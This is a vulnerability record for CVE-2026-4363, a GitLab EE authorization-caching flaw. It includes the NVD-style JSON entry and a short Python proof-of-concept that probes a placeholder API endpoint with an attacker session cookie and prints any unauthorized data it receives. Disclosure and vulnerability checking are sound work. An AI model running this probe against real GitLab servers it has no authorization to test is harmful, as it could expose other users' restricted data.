CVE-2026-4363

# PoC Concept for Improper Authorization Caching in GitLab EE # This script demonstrates checking for unauthorized access via cached responses. import requests TARGET = "https://gitlab.example.com/api/v4/sensitive_project" SESSION_COOKIE = "_gitlab_session=valid_attacker_cookie" def check_cache_bypass(): headers = {"Cookie": SESSION_COOKIE} print("[*] Attempting to access restricted resource...") # The attacker requests a resource they normally shouldn't see. # If the system returns cached data from a privileged user's request, # the status code will be 200 instead of 403. response = requests.get(TARGET, headers=headers) if response.status_code == 200: print("[+] Potential vulnerability detected!") print("[+] Received unauthorized data:") print(response.text[:200]) elif response.status_code == 403: print("[-] Access denied (403). Cache may be secure or not primed.") else: print(f"[*] Unexpected response: {response.status_code}") if __name__ == "__main__": check_cache_bypass()

{"cve": {"id": "CVE-2026-4363", "sourceIdentifier": "[email protected]", "published": "2026-03-25T15:16:50.550", "lastModified": "2026-03-26T11:56:57.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab EE affecting all versions from 18.1 before 18.8.7, 18.9 before 18.9.3, and 18.10 before 18.10.1 that under certain conditions could have allowed an authenticated user to gain unauthorized access to resources due to improper caching of authorization decisions."}, {"lang": "es", "value": "GitLab ha remediado un problema en GitLab EE que afecta a todas las versiones desde la 18.1 anterior a la 18.8.7, la 18.9 anterior a la 18.9.3, y la 18.10 anterior a la 18.10.1 que bajo ciertas condiciones podría haber permitido a un usuario autenticado obtener acceso no autorizado a recursos debido a un almacenamiento en caché incorrecto de las decisiones de autorización."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.1.0", "versionEndExcluding": "18.8.7", "matchCriteriaId": "6007A8A2-439E-41E7-8DF8-36BE0F25983F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.3", "matchCriteriaId": "C3240349-67A3-43E2-BAD9-EFAA3E0A5D31"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.10.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "2B8DF779-B99E-4096-B734-78AB1849D136"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/03/25/patch-release-gitlab-18-10-1-released/", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/578561", "source": "[email protected]", "tags": ["Broken Link"]}]}}